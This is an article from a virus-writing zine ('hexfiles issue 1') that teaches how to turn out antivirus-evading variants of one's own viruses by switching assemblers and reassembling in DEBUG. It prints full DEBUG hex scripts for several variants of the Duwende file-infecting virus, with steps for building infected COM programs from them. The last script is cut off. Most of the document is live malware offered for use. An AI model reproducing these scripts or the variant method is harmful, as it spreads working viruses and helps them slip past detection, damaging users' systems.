Creating variants in a snap
hexfiles issue 1
CREATE VARIANTS WITHOUT REALLY TRYING
Believe me not but it is really true. You can create variants of your virii with hardly an effort on your part. This is a lamer's delight and it is for you, my dear lamer and the rest of your kind out there, that made me do this article.
As you well know, a difference in the length of virii means that it is a different variant. (ex.: Diamond.606, Diamond.607) If virii of the same length have differences between them, then they are minor variants of that virii. (ex.: Cascade.1701.A, Cascade.1701.B). Let's wait and see how the AVs react to this. But if they recognize patched virii as minor variants, what more with what we are going to do. But first, here's how to do it.
Part 1. Create variants without rewriting your code
When writing your virii, use standard assembly language mnemonics and directives and you will go through this without a fuzz. Using compiler specific mnemonics and will give you headaches when you do the following procedures:
Use different compilers
Not all compilers use the same opcode set when assembling your source code. *TASM* and *MASM* uses the same opcode set but most often the program created are not identical. The difference lies in the insertion of NOPs. MASM is wont to do this but TASM behaves well and produces a more tightly packed program. *A86* use an entirely separate opcode set and is identical to that used by DEBUG.
Use different versions of a compiler
Compiler upgrade sometimes comes changes in the opcode sets used or new optimization method. Assembling your source code in different versions of a compiler might produce changes in length of your virii or a byte or two will differ.
Do a binary compare of your virii variants of the same length to be certain that you have created a new variant. DOS' FC.EXE will do just fine for this purpose. (FC /b file1 file2)
Note though that some versions of a compiler might require you to fix portions of your source code before it can compile it.
Part 2: Minor alteration of your source code required
Use simplified and classic segment directives. Difference in length occurs if you use directly addressed memory operands. In the simplified segment directives, these memory operands are automatically given a CS segment override. In the classic segment directives, the compiler uses the segment specified in the ASSUME statement. The change in length will depend on how many directly addressed memory operands are in your source code.
You might encounter phase errors when you compile your codes. In the case of Duwende, I did not make an effort to fix these. In compiled using simplified directives, a 413 to 415 byte variant can be created.
This is only applicable up to verion 5.xx of MASM.
Part 3: Disassembly required
I mentioned in Part 1 that A86 and DEBUG uses the same opcode set. However, they don't exactly create identical programs all the time. Sometimes a byte or more differ. So why not try using it.
Get one first generation of your virii, one for each length variant. Disassemble it in DEBUG. Remember that you are disassembling the first generation og *YOUR OWN VIRUS*. If you could not tell which part is data and which is code, forget it. This was not intended for brainless fools like you. Create a script file of your disassembly. Use "DB" or "E" command only for the data protions of your virii. Use assembly mnemonics for the code part. Assemble your script file in DEBUG in DEBUG.
Do a binary compare if you really created a new varaint.
-o-
The following are the product of my little experiment:
============= ============ ==============================================
variant listing compiler/remarks
============= ============ ==============================================
Duwende.409.A dwnd409a.scr tasm 2.01 (compiled from source)
Duwende.409.B dwnd409b.scr masm 6.00 (compiled from source)
Duwende.409.C dwnd409c.scr a86 4.02 (compiled from source)
Duwende.409.D dwnd409d.scr a86 2.16 (compiled from fixed source)
Duwende.409.E dwnd409e.scr disassembled Duwende.409.A recompiled in debug
Duwende.410.A dwnd410a.scr masm 5.00 (compiled from source) 1 nop inserted
Duwende.410.B dwnd410b.scr disassembled Duwende.410.A recompiled in debug
31 bytes differs with Duwende.410.A
============= ============ ==============================================
Differences in Bytes of Duwende.409 Minor Variants
409.A 409.B 409.C 409.D 409.E Remarks
~~~~~ ~~~~~ ~~~~~ ~~~~~ ~~~~~ ~~~~~~~
Duwende.409.A - 2 18 27 31 tasm 2.01
Duwende.409.B 2 - 20 29 33 masm 6.0
Duwende.409.C 18 20 - 9 13 a86 4.02
Duwende.409.D 27 29 9 - 4 a86 2.16
Duwende.409.E 31 33 13 4 - debug msdos 6.22
To create an executable program,
- cut the desired debug script. leave everything intact starting from "xxxxxxxx.scr starts here" and "xxxxxxxx.scr ends here" and save the file as xxxxxxxx.scr.
- type
debug < xxxxxxx.scr
and press the enter key
Replace xxxxxxx.scr with the actual name of the debug script, for example dwnd409a.scr. An infected com program will be created.
This is a file infected by the Duwende virus. This is for your research on virii. What specifically is your research is none of my business, but you alone (means not PsK nor HEX-FILES nor anybody else but YOU YOu You you) is responsible for your actions.
ok doki bok.
-<{([Putoksa Kawayan]|:)}>-
-- DWND409A.SCR STARTS HERE ----------------------------------------
N DWND409A.COM
E 0100 E9 C1 01 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A
E 0110 54 68 69 73 20 69 73 20 44 75 77 65 6E 64 65 2E
E 0120 34 30 39 2E 41 20 76 69 72 75 73 20 63 6F 6D 69
E 0130 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0140 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0150 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0160 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0170 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45 58 2D 46 49
E 0180 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0190 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 01A0 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 01B0 61 6C 6C 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 20 61 6E 64 0D 0A 69 6D 61 67 69 6E 61
E 01D0 72 79 20 64 61 6D 61 67 65 20 62 72 6F 75 67 68
E 01E0 74 20 61 62 6F 75 74 20 62 79 20 74 68 65 20 75
E 01F0 73 65 2C 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F
E 0200 6E 2D 75 73 65 20 6F 66 20 74 68 69 73 20 76 69
E 0210 72 69 69 2E 0D 0A 41 6E 79 62 6F 64 79 20 77 68
E 0220 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0230 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0240 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0250 66 6F 72 20 61 6E 79 20 75 6E 74 6F 77 61 72 64
E 0260 0D 0A 69 6E 63 69 64 65 6E 74 20 74 68 61 74 20
E 0270 6D 61 79 20 6F 63 63 75 72 2E 0D 0A 0A 54 68 69
E 0280 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69 63
E 0290 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F
E 02A0 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20
E 02B0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A
E 02C0 0A 24 1A 1A E9 08 00 B4 09 CD 21 B4 4C CD 21 E8
E 02D0 00 00 FC B0 FF BD 00 01 98 99 CD 21 3A C2 5E 74
E 02E0 4E 2B FF 8C C0 48 8E D8 8B 5D 03 B9 1E 00 2B D9
E 02F0 51 B4 4A CD 21 B1 08 5B 4B B4 48 CD 21 50 8E C0
E 0300 48 51 89 45 12 8E D8 8F 45 01 0E 1F 56 83 EE 03
E 0310 B9 99 01 F3 A4 5E 1F B8 21 35 CD 21 89 1E 81 00
E 0320 8C 06 83 00 B4 25 BA 74 00 CD 21 0E 1F 0E 07 81
E 0330 C6 93 01 BF C4 01 03 FD 57 A4 A5 C3 44 75 77 65
E 0340 6E 64 65 9C 80 FC 4B 74 20 3D FF FF 74 06 9D EA
E 0350 75 00 E2 9F 42 9D B0 00 CF 20 50 75 74 6F 6B 73
E 0360 61 20 4B 61 77 61 79 61 6E 50 51 52 53 56 1E 06
E 0370 B4 2F CD 21 06 53 1E 52 0E 1F BA 99 01 B4 1A CD
E 0380 21 8B F2 5A 1F B4 4E B9 27 00 CD 21 72 20 0E 1F
E 0390 8A 44 16 8A 64 18 B2 1F 22 C2 74 06 22 E2 3A C4
E 03A0 74 0C 8A 04 04 40 B4 3A 89 44 1C E8 0F 00 5A 1F
E 03B0 B4 1A CD 21 07 1F 5E 5B 5A 59 58 EB 91 B8 24 35
E 03C0 CD 21 06 53 B4 25 BA 87 00 50 CD 21 8D 54 1C 33
E 03D0 C9 B8 01 43 CD 21 72 0F 52 E8 11 00 5A 32 ED 8A
E 03E0 4C 15 B8 01 43 CD 21 58 5A 1F CD 21 C3 B8 02 3D
E 03F0 CD 21 72 F8 93 B4 3F B9 03 00 8D 54 FD CD 21 8B
E 0400 44 FD 3C E9 75 5A 8B 54 FE 03 D1 B1 00 B8 00 42
E 0410 50 51 52 CD 21 A3 65 00 50 B4 3F 8D 54 FD B1 03
E 0420 CD 21 5A 8B 44 1A 2B C1 2B C2 C6 04 E9 89 44 01
E 0430 5A 59 58 50 51 CD 21 8B D6 B1 03 B4 40 CD 21 59
E 0440 58 8B 54 1A CD 21 8B CE B4 40 CD 21 8B 44 18 8B
E 0450 4C 16 8B D0 24 1F 80 E1 E0 0A C8 B8 01 57 CD 21
E 0460 B4 3E CD 21 C3 BA 03 01
RCX
0368
W
Q
-- DWND409A.SCR ENDS HERE ------------------------------------------
-- DWND409B.SCR STARTS HERE ----------------------------------------
N DWND409B.COM
E 0100 E9 C1 01 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A
E 0110 54 68 69 73 20 69 73 20 44 75 77 65 6E 64 65 2E
E 0120 34 30 39 2E 42 20 76 69 72 75 73 20 63 6F 6D 69
E 0130 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0140 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0150 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0160 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0170 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45 58 2D 46 49
E 0180 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0190 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 01A0 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 01B0 61 6C 6C 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 20 61 6E 64 0D 0A 69 6D 61 67 69 6E 61
E 01D0 72 79 20 64 61 6D 61 67 65 20 62 72 6F 75 67 68
E 01E0 74 20 61 62 6F 75 74 20 62 79 20 74 68 65 20 75
E 01F0 73 65 2C 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F
E 0200 6E 2D 75 73 65 20 6F 66 20 74 68 69 73 20 76 69
E 0210 72 69 69 2E 0D 0A 41 6E 79 62 6F 64 79 20 77 68
E 0220 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0230 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0240 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0250 66 6F 72 20 61 6E 79 20 75 6E 74 6F 77 61 72 64
E 0260 0D 0A 69 6E 63 69 64 65 6E 74 20 74 68 61 74 20
E 0270 6D 61 79 20 6F 63 63 75 72 2E 0D 0A 0A 54 68 69
E 0280 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69 63
E 0290 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F
E 02A0 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20
E 02B0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A
E 02C0 0A 24 1A 1A E9 08 00 B4 09 CD 21 B4 4C CD 21 E8
E 02D0 00 00 FC B0 FF BD 00 01 98 99 CD 21 3A C2 5E 74
E 02E0 4E 2B FF 8C C0 48 8E D8 8B 5D 03 B9 1E 00 2B D9
E 02F0 51 B4 4A CD 21 B1 08 5B 4B B4 48 CD 21 50 8E C0
E 0300 48 51 89 45 12 8E D8 8F 45 01 0E 1F 56 83 EE 03
E 0310 B9 99 01 F3 A4 5E 1F B8 21 35 CD 21 89 1E 81 00
E 0320 8C 06 83 00 B4 25 BA 74 00 CD 21 0E 1F 0E 07 81
E 0330 C6 93 01 BF C4 01 03 FD 57 A4 A5 C3 44 75 77 65
E 0340 6E 64 65 9C 80 FC 4B 74 20 83 F8 FF 74 06 9D EA
E 0350 9E 10 10 01 42 9D B0 00 CF 20 50 75 74 6F 6B 73
E 0360 61 20 4B 61 77 61 79 61 6E 50 51 52 53 56 1E 06
E 0370 B4 2F CD 21 06 53 1E 52 0E 1F BA 99 01 B4 1A CD
E 0380 21 8B F2 5A 1F B4 4E B9 27 00 CD 21 72 20 0E 1F
E 0390 8A 44 16 8A 64 18 B2 1F 22 C2 74 06 22 E2 3A C4
E 03A0 74 0C 8A 04 04 40 B4 3A 89 44 1C E8 0F 00 5A 1F
E 03B0 B4 1A CD 21 07 1F 5E 5B 5A 59 58 EB 91 B8 24 35
E 03C0 CD 21 06 53 B4 25 BA 87 00 50 CD 21 8D 54 1C 33
E 03D0 C9 B8 01 43 CD 21 72 0F 52 E8 11 00 5A 32 ED 8A
E 03E0 4C 15 B8 01 43 CD 21 58 5A 1F CD 21 C3 B8 02 3D
E 03F0 CD 21 72 F8 93 B4 3F B9 03 00 8D 54 FD CD 21 8B
E 0400 44 FD 3C E9 75 5A 8B 54 FE 03 D1 B1 00 B8 00 42
E 0410 50 51 52 CD 21 A3 65 00 50 B4 3F 8D 54 FD B1 03
E 0420 CD 21 5A 8B 44 1A 2B C1 2B C2 C6 04 E9 89 44 01
E 0430 5A 59 58 50 51 CD 21 8B D6 B1 03 B4 40 CD 21 59
E 0440 58 8B 54 1A CD 21 8B CE B4 40 CD 21 8B 44 18 8B
E 0450 4C 16 8B D0 24 1F 80 E1 E0 0A C8 B8 01 57 CD 21
E 0460 B4 3E CD 21 C3 BA 03 01
RCX
0368
W
Q
-- DWND409B.SCR ENDS HERE ------------------------------------------
-- DWND409C.SCR STARTS HERE ----------------------------------------
N DWND409C.COM
E 0100 E9 C1 01 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A
E 0110 54 68 69 73 20 69 73 20 44 75 77 65 6E 64 65 2E
E 0120 34 30 39 2E 43 20 76 69 72 75 73 20 63 6F 6D 69
E 0130 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0140 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0150 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0160 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0170 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45 58 2D 46 49
E 0180 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0190 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 01A0 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 01B0 61 6C 6C 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 20 61 6E 64 0D 0A 69 6D 61 67 69 6E 61
E 01D0 72 79 20 64 61 6D 61 67 65 20 62 72 6F 75 67 68
E 01E0 74 20 61 62 6F 75 74 20 62 79 20 74 68 65 20 75
E 01F0 73 65 2C 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F
E 0200 6E 2D 75 73 65 20 6F 66 20 74 68 69 73 20 76 69
E 0210 72 69 69 2E 0D 0A 41 6E 79 62 6F 64 79 20 77 68
E 0220 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0230 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0240 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0250 66 6F 72 20 61 6E 79 20 75 6E 74 6F 77 61 72 64
E 0260 0D 0A 69 6E 63 69 64 65 6E 74 20 74 68 61 74 20
E 0270 6D 61 79 20 6F 63 63 75 72 2E 0D 0A 0A 54 68 69
E 0280 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69 63
E 0290 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F
E 02A0 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20
E 02B0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A
E 02C0 0A 24 1A 1A E9 08 00 B4 09 CD 21 B4 4C CD 21 E8
E 02D0 00 00 FC B0 FF BD 00 01 98 99 CD 21 38 D0 5E 74
E 02E0 4E 2B FF 8C C0 48 8E D8 8B 5D 03 B9 1E 00 29 CB
E 02F0 51 B4 4A CD 21 B1 08 5B 4B B4 48 CD 21 50 8E C0
E 0300 48 51 89 45 12 8E D8 8F 45 01 0E 1F 56 83 EE 03
E 0310 B9 99 01 F3 A4 5E 1F B8 21 35 CD 21 89 1E 81 00
E 0320 8C 06 83 00 B4 25 BA 74 00 CD 21 0E 1F 0E 07 81
E 0330 C6 93 01 BF C4 01 01 EF 57 A4 A5 C3 44 75 77 65
E 0340 6E 64 65 9C 80 FC 4B 74 20 3D FF FF 74 06 9D EA
E 0350 74 00 C4 9F 42 9D B0 00 CF 20 50 75 74 6F 6B 73
E 0360 61 20 4B 61 77 61 79 61 6E 50 51 52 53 56 1E 06
E 0370 B4 2F CD 21 06 53 1E 52 0E 1F BA 99 01 B4 1A CD
E 0380 21 89 D6 5A 1F B4 4E B9 27 00 CD 21 72 20 0E 1F
E 0390 8A 44 16 8A 64 18 B2 1F 20 D0 74 06 20 D4 3A C4
E 03A0 74 0C 8A 04 04 40 B4 3A 89 44 1C E8 0F 00 5A 1F
E 03B0 B4 1A CD 21 07 1F 5E 5B 5A 59 58 EB 91 B8 24 35
E 03C0 CD 21 06 53 B4 25 BA 87 00 50 CD 21 8D 54 1C 33
E 03D0 C9 B8 01 43 CD 21 72 0F 52 E8 11 00 5A 32 ED 8A
E 03E0 4C 15 B8 01 43 CD 21 58 5A 1F CD 21 C3 B8 02 3D
E 03F0 CD 21 72 F8 93 B4 3F B9 03 00 8D 54 FD CD 21 8B
E 0400 44 FD 3C E9 75 5A 8B 54 FE 01 CA B1 00 B8 00 42
E 0410 50 51 52 CD 21 A3 65 00 50 B4 3F 8D 54 FD B1 03
E 0420 CD 21 5A 8B 44 1A 2B C1 29 D0 C6 04 E9 89 44 01
E 0430 5A 59 58 50 51 CD 21 89 F2 B1 03 B4 40 CD 21 59
E 0440 58 8B 54 1A CD 21 8B CE B4 40 CD 21 8B 44 18 8B
E 0450 4C 16 8B D0 24 1F 80 E1 E0 0A C8 B8 01 57 CD 21
E 0460 B4 3E CD 21 C3 BA 03 01
RCX
0368
W
Q
-- DWND409C.SCR ENDS HERE ------------------------------------------
-- DWND409D.SCR STARTS HERE ----------------------------------------
N DWND409D.COM
E 0100 E9 C1 01 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A
E 0110 54 68 69 73 20 69 73 20 44 75 77 65 6E 64 65 2E
E 0120 34 30 39 2E 44 20 76 69 72 75 73 20 63 6F 6D 69
E 0130 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0140 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0150 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0160 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0170 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45 58 2D 46 49
E 0180 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0190 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 01A0 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 01B0 61 6C 6C 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 20 61 6E 64 0D 0A 69 6D 61 67 69 6E 61
E 01D0 72 79 20 64 61 6D 61 67 65 20 62 72 6F 75 67 68
E 01E0 74 20 61 62 6F 75 74 20 62 79 20 74 68 65 20 75
E 01F0 73 65 2C 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F
E 0200 6E 2D 75 73 65 20 6F 66 20 74 68 69 73 20 76 69
E 0210 72 69 69 2E 0D 0A 41 6E 79 62 6F 64 79 20 77 68
E 0220 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0230 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0240 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0250 66 6F 72 20 61 6E 79 20 75 6E 74 6F 77 61 72 64
E 0260 0D 0A 69 6E 63 69 64 65 6E 74 20 74 68 61 74 20
E 0270 6D 61 79 20 6F 63 63 75 72 2E 0D 0A 0A 54 68 69
E 0280 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69 63
E 0290 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F
E 02A0 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20
E 02B0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A
E 02C0 0A 24 1A 1A E9 08 00 B4 09 CD 21 B4 4C CD 21 E8
E 02D0 00 00 FC B0 FF BD 00 01 98 99 CD 21 38 D0 5E 74
E 02E0 4E 29 FF 8C C0 48 8E D8 8B 5D 03 B9 1E 00 29 CB
E 02F0 51 B4 4A CD 21 B1 08 5B 4B B4 48 CD 21 50 8E C0
E 0300 48 51 89 45 12 8E D8 8F 45 01 0E 1F 56 83 EE 03
E 0310 B9 99 01 F3 A4 5E 1F B8 21 35 CD 21 89 1E 81 00
E 0320 8C 06 83 00 B4 25 BA 74 00 CD 21 0E 1F 0E 07 81
E 0330 C6 93 01 BF C4 01 01 EF 57 A4 A5 C3 44 75 77 65
E 0340 6E 64 65 9C 80 FC 4B 74 20 3D FF FF 74 06 9D EA
E 0350 74 00 A6 9F 42 9D B0 00 CF 20 50 75 74 6F 6B 73
E 0360 61 20 4B 61 77 61 79 61 6E 50 51 52 53 56 1E 06
E 0370 B4 2F CD 21 06 53 1E 52 0E 1F BA 99 01 B4 1A CD
E 0380 21 89 D6 5A 1F B4 4E B9 27 00 CD 21 72 20 0E 1F
E 0390 8A 44 16 8A 64 18 B2 1F 20 D0 74 06 20 D4 38 E0
E 03A0 74 0C 8A 04 04 40 B4 3A 89 44 1C E8 0F 00 5A 1F
E 03B0 B4 1A CD 21 07 1F 5E 5B 5A 59 58 EB 91 B8 24 35
E 03C0 CD 21 06 53 B4 25 BA 87 00 50 CD 21 8D 54 1C 31
E 03D0 C9 B8 01 43 CD 21 72 0F 52 E8 11 00 5A 30 ED 8A
E 03E0 4C 15 B8 01 43 CD 21 58 5A 1F CD 21 C3 B8 02 3D
E 03F0 CD 21 72 F8 93 B4 3F B9 03 00 8D 54 FD CD 21 8B
E 0400 44 FD 3C E9 75 5A 8B 54 FE 01 CA B1 00 B8 00 42
E 0410 50 51 52 CD 21 A3 65 00 50 B4 3F 8D 54 FD B1 03
E 0420 CD 21 5A 8B 44 1A 29 C8 29 D0 C6 04 E9 89 44 01
E 0430 5A 59 58 50 51 CD 21 89 F2 B1 03 B4 40 CD 21 59
E 0440 58 8B 54 1A CD 21 8B CE B4 40 CD 21 8B 44 18 8B
E 0450 4C 16 8B D0 24 1F 80 E1 E0 08 C1 B8 01 57 CD 21
E 0460 B4 3E CD 21 C3 BA 03 01
RCX
0368
W
Q
-- DWND409D.SCR ENDS HERE ------------------------------------------
-- DWND409E.SCR STARTS HERE ----------------------------------------
N DWND409E.COM
E 0100 E9 C1 01 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A
E 0110 54 68 69 73 20 69 73 20 44 75 77 65 6E 64 65 2E
E 0120 34 30 39 2E 45 20 76 69 72 75 73 20 63 6F 6D 69
E 0130 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0140 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0150 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0160 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0170 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45 58 2D 46 49
E 0180 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0190 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 01A0 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 01B0 61 6C 6C 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 20 61 6E 64 0D 0A 69 6D 61 67 69 6E 61
E 01D0 72 79 20 64 61 6D 61 67 65 20 62 72 6F 75 67 68
E 01E0 74 20 61 62 6F 75 74 20 62 79 20 74 68 65 20 75
E 01F0 73 65 2C 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F
E 0200 6E 2D 75 73 65 20 6F 66 20 74 68 69 73 20 76 69
E 0210 72 69 69 2E 0D 0A 41 6E 79 62 6F 64 79 20 77 68
E 0220 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0230 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0240 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0250 66 6F 72 20 61 6E 79 20 75 6E 74 6F 77 61 72 64
E 0260 0D 0A 69 6E 63 69 64 65 6E 74 20 74 68 61 74 20
E 0270 6D 61 79 20 6F 63 63 75 72 2E 0D 0A 0A 54 68 69
E 0280 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69 63
E 0290 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F
E 02A0 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20
E 02B0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A
E 02C0 0A 24 1A 1A E9 08 00 B4 09 CD 21 B4 4C CD 21 E8
E 02D0 00 00 FC B0 FF BD 00 01 98 99 CD 21 38 D0 5E 74
E 02E0 4E 29 FF 8C C0 48 8E D8 8B 5D 03 B9 1E 00 29 CB
E 02F0 51 B4 4A CD 21 B1 08 5B 4B B4 48 CD 21 50 8E C0
E 0300 48 51 89 45 12 8E D8 8F 45 01 0E 1F 56 83 EE 03
E 0310 B9 99 01 F3 A4 5E 1F B8 21 35 CD 21 89 1E 81 00
E 0320 8C 06 83 00 B4 25 BA 74 00 CD 21 0E 1F 0E 07 81
E 0330 C6 93 01 BF C4 01 01 EF 57 A4 A5 C3 44 75 77 65
E 0340 6E 64 65 9C 80 FC 4B 74 20 3D FF FF 74 06 9D EA
E 0350 74 00 88 9F 42 9D B0 00 CF 20 50 75 74 6F 6B 73
E 0360 61 20 4B 61 77 61 79 61 6E 50 51 52 53 56 1E 06
E 0370 B4 2F CD 21 06 53 1E 52 0E 1F BA 99 01 B4 1A CD
E 0380 21 89 D6 5A 1F B4 4E B9 27 00 CD 21 72 20 0E 1F
E 0390 8A 44 16 8A 64 18 B2 1F 20 D0 74 06 20 D4 38 E0
E 03A0 74 0C 8A 04 04 40 B4 3A 89 44 1C E8 0F 00 5A 1F
E 03B0 B4 1A CD 21 07 1F 5E 5B 5A 59 58 EB 91 B8 24 35
E 03C0 CD 21 06 53 B4 25 BA 87 00 50 CD 21 8D 54 1C 31
E 03D0 C9 B8 01 43 CD 21 72 0F 52 E8 11 00 5A 30 ED 8A
E 03E0 4C 15 B8 01 43 CD 21 58 5A 1F CD 21 C3 B8 02 3D
E 03F0 CD 21 72 F8 93 B4 3F B9 03 00 8D 54 FD CD 21 8B
E 0400 44 FD 3C E9 75 5A 8B 54 FE 01 CA B1 00 B8 00 42
E 0410 50 51 52 CD 21 A3 65 00 50 B4 3F 8D 54 FD B1 03
E 0420 CD 21 5A 8B 44 1A 29 C8 29 D0 C6 04 E9 89 44 01
E 0430 5A 59 58 50 51 CD 21 89 F2 B1 03 B4 40 CD 21 59
E 0440 58 8B 54 1A CD 21 89 F1 B4 40 CD 21 8B 44 18 8B
E 0450 4C 16 89 C2 24 1F 80 E1 E0 08 C1 B8 01 57 CD 21
E 0460 B4 3E CD 21 C3 BA 03 01
RCX
0368
W
Q
-- DWND409E.SCR ENDS HERE ------------------------------------------
-- DWND410A.SCR STARTS HERE ----------------------------------------
N DWND410A.COM
E 0100 E9 C1 01 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A
E 0110 54 68 69 73 20 69 73 20 44 75 77 65 6E 64 65 2E
E 0120 34 31 30 2E 41 20 76 69 72 75 73 20 63 6F 6D 69
E 0130 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0140 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0150 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0160 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0170 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45 58 2D 46 49
E 0180 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0190 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 01A0 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 01B0 61 6C 6C 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 20 61 6E 64 0D 0A 69 6D 61 67 69 6E 61
E 01D0 72 79 20 64 61 6D 61 67 65 20 62 72 6F 75 67 68
E 01E0 74 20 61 62 6F 75 74 20 62 79 20 74 68 65 20 75
E 01F0 73 65 2C 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F
E 0200 6E 2D 75 73 65 20 6F 66 20 74 68 69 73 20 76 69
E 0210 72 69 69 2E 0D 0A 41 6E 79 62 6F 64 79 20 77 68
E 0220 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0230 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0240 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0250 66 6F 72 20 61 6E 79 20 75 6E 74 6F 77 61 72 64
E 0260 0D 0A 69 6E 63 69 64 65 6E 74 20 74 68 61 74 20
E 0270 6D 61 79 20 6F 63 63 75 72 2E 0D 0A 0A 54 68 69
